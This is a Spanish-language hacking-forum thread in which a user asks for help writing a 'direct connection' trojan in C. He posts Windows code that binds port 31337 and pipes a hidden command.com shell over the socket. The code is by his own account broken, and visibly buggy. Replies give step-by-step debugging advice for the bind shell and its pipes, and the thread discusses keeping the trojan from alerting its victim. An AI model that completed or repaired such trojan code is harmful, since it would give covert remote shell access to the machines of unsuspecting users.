[C] Code troyano conexion directa

Iniciado por Garfield07, 8 Septiembre 2010, 13:00 PM

0 Miembros y 1 Visitante están viendo este tema.

Garfield07

Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes ("http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona....
Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
#include <stdio.h>
#include <stdlib.h>
#include <winsock.h>

HANDLE Out, In, Err;
HANDLE hThread[3];
DWORD IDThread[3];
STARTUPINFO Stup;
SOCKET newsock;
SOCKET sockfd;

DWORD WINAPI Lectura(LPVOID lpvThreadParm)
{
  char buffer;
  unsigned long BytesRead;
  int n;
  while(1)
  {
  ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  n= send(sockfd, &buffer, 1, 0);
  }
  return 0;
}
DWORD WINAPI Escritura(LPVOID lpvThreadParm)
{
  char buffer;
  unsigned long BytesRead;
  int n;
  while(1)
  {
  ReadFile(In, &buffer, 1, &BytesRead, NULL);
  n= send(sockfd, &buffer, 1, 0);
  }
  return 0;
}
DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
{
  char buffer;
  unsigned long BytesRead;
  int n;
  while(1)
  {
  ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  n= send(sockfd, &buffer, 1, 0);
  }
  return 0;
}

int ShellCode ()
{
CreatePipe (&Out, &Out, NULL, 0);
CreatePipe (&In, &In, NULL, 0);
CreatePipe (&Err, &Err, NULL, 0);

Stup.cb=sizeof (Stup);
Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
Stup.wShowWindow = 0;
Stup.hStdOutput = Out;
Stup.hStdError = Err;
Stup.hStdInput = In;
CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);

hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);

WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
CloseHandle(hThread[0]);
CloseHandle(hThread[1]);
CloseHandle(hThread[2]);
}

int main ()
{
   WSADATA wsaData;
   WSAStartup(MAKEWORD(2, 0), &wsaData);
   struct sockaddr_in host, client;
   int a=sizeof (struct sockaddr);
   sockfd=socket (2, 1, 0);
   host.sin_family=AF_INET;
   host.sin_addr.s_addr=0;
   host.sin_port=htons (31337);
   memset (host.sin_zero, 0, 8);
   bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
   listen (sockfd, 1);
   while (1)
   {
       newsock=accept (sockfd, (struct sockaddr*)&client, &a);
ShellCode ();
       closesocket (newsock);
   }
   closesocket (sockfd);
   return 0;
}

Producto de el vinculo de antes. No funciona correctamente.

Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

Belial & Grimoire

#1
hola

intenta hacerlo paso por paso haciendo pruebas... primero crea un cliente y un servidor con el socket, hazlo en forma directa como tu dices... despues crea un pipe hacia cmd, hazlo en otro archivo para que no tengas conflictos con el socket, cuando los dos te funcionen, juntalos... para ver si te funcionan.... trata de mandar de cliente a servidor un dir por ejemplo y ve si pudes ver el contenido con el pipe...

el pipe no lo hagas por ahorita con WINAPI trata de hacerlo en main por lo mientras y usa thread's para read y write, por algun lado puse un ejemplo de pipe, si lo encuentro lo vuelvo a postear


EDITADO

mira aqui esta el codigo, tenia un error, pero ya tiene tiempo que lo arregle y no recuerdo que hice... pero te servira como ejemplo de pipe

http://foro.elhacker.net/programacion_cc/como_hago_para_visualizar_toda_la_informacion_de_pipe-t274714.0.html;msg1347888#msg1347888

.                                 

☺BADMAN

  Ese code lo veo muy erroneo la verdad si vas hacer un rat de conexion directa esta bien el winmain hasta el while ....

  if (newsocket != NULL)
     CreateThread(Escuchar, bla bla .....


  y en la funcion escuchar creas otro hilo con recv para recibir comandos o informacion ......

digo yo no  :silbar:


Experto en Biefrost.
Subseven User.
Especialista en crypters.
Tifa FAN
Batch Programer XD ;D

Garfield07

Si, perdona, no escribi la comprobacion de errores. Veran, un troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

Lo escribi todo en la v2.0 k la publicare mañana tarde k ahora no puedo, pero se que ese no es el fallo pues todo se hace con normalidad en la otra, pero aun asi no va.

El cliente/server se hacerlo, pero no se usar correctamente las pipes. Alguien tiene un manual sencillito para aprender a usarlas? Tu manual me ha hecho ver la tecnica pero no se hacerlas bien....

Saludos y muchas gracias


* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo

bizco

Sagrini no has leido ni 5 minutos la propia documentacion de la msdn.

Citarun troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

no, pero puede el programa retomar el control si algo falla..... digo yo.